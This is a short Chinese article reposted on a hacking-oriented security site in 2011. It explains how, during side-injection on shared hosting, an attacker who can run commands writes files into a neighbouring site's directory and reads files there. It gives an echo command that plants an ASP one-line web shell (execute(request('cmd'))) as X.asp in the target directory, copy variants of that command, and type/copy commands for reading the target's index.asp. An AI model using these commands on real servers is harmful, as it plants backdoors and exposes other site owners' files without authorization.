欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

关于旁注的跨目录写文件利用echo或copy命令

来源:本站转载 作者:佚名 时间:2011-12-20 TAG: 我要投稿

 很多同学旁注的时候发现不能直跳转到目标目录后就想到了提权,

然而,对我等菜鸟来说,提权现在是越来越难。很多时候,其实不一定要提权,我们可以想想其它方法。
这里简单介绍旁注时比较有用的跨目录读写文件。
1、跨目录写文件。
很多时候,我们不能直接跳转浏览目标目录,这时候就可以尝试直接写文件到目标目录了 。
这里就要求我们要有执行命令的权限了,
方法是用echo或copy命令:echo ^<%execute(request("cmd"))%^>>>X:\目标目录\X.asp 或者::copy 脚本文件 X:\目标目录\X.asp 。
2、跨目录读文件。
如果还是上面的情况,不过这次多了个限制,直接写文件如果不成功怎么办呢?既然不能写,
我们还可以试试读。这里一般也是用到两个命令:type和copy。
方法:type X:\目标目录\ index.asp(假设index.asp存在)直接读取或者copy X:\目标目录\ index.asp X:\当前可写目录\index.txt 然后再通过index.txt间接读取。
【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载